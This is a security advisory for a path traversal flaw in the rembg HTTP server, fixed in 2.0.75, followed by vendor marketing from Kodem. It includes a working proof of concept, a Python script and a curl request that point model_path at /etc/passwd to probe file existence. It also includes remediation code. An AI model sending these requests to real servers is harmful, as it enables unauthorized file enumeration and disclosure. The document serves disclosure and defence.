CVE-2026-40086

CVE-2026-40086 is a medium-severity path traversal vulnerability in rembg (pip), affecting versions < 2.0.75. It is fixed in 2.0.75.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

  • Python 3.10+
  • rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.
onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

Server Log Message What It Proves
Load model from /etc/passwd failed:Protobuf parsing failed ✅ File exists and was read by onnxruntime
Load model from /etc/shadow failed:Permission denied ✅ File exists but process lacks permission
Load model from /nonexistent/... failed. File doesn't exist ✅ File does not exist - enables enumeration

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

  1. The attacker-controlled path was passed through without validation
  2. onnxruntime.InferenceSession() attempted to read the file contents
  3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Who is Affected?

  • All users running rembg s (HTTP server mode)
  • Cloud deployments where rembg is exposed as an API service
  • Docker containers running rembg server

Attack Scenarios

  1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
  2. Credential Discovery: Attacker checks for common credential files
  3. Infrastructure Mapping: Attacker discovers installed software and system configuration
  4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

  • CLI usage (rembg i, rembg p) - users already have local file access
  • Library usage - developers control the input

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-40086 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.75); upgrading removes the vulnerable code path.

Affected versions

rembg (< 2.0.75)

Security releases

rembg → 2.0.75 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade rembg to 2.0.75 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-40086? CVE-2026-40086 is a medium-severity path traversal vulnerability in rembg (pip), affecting versions < 2.0.75. It is fixed in 2.0.75. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-40086? CVE-2026-40086 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of rembg are affected by CVE-2026-40086? rembg (pip) versions < 2.0.75 is affected.
  4. Is there a fix for CVE-2026-40086? Yes. CVE-2026-40086 is fixed in 2.0.75. Upgrade to this version or later.
  5. Is CVE-2026-40086 exploitable, and should I be worried? Whether CVE-2026-40086 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-40086 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-40086? Upgrade rembg to 2.0.75 or later.

Other vulnerabilities in rembg

CVE-2025-25302CVE-2025-25301

Stop the waste.
Protect your environment with Kodem.